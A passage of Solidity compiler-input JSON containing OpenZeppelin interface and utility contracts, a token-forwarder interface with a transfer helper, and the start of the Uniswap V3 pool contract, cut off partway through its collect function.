@dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
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| {{
"language": "Solidity",
"sources": {
"contracts/UniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\nimport './interfaces/IUniswapV3Pool.sol';\n\nimport './NoDelegateCall.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IUniswapV3PoolDeployer.sol';\nimport './interfaces/IUniswapV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IUniswapV3MintCallback.sol';\nimport './interfaces/callback/IUniswapV3SwapCallback.sol';\nimport './interfaces/callback/IUniswapV3FlashCallback.sol';\n\ncontract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token1;\n /// @inheritdoc IUniswapV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IUniswapV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IUniswapV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IUniswapV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IUniswapV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IUniswapV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IUniswapV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IUniswapV3PoolState\n Oracle.Observation[65535] public override observations;\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()\n modifier onlyFactoryOwner() {\n require(msg.sender == IUniswapV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) =\n token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) =\n token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n noDelegateCall\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n noDelegateCall\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n noDelegateCall\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew =\n observations.grow(observationCardinalityNextOld, observationCardinalityNext);\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 0,\n unlocked: true\n });\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n noDelegateCall\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =\n ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n }\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n 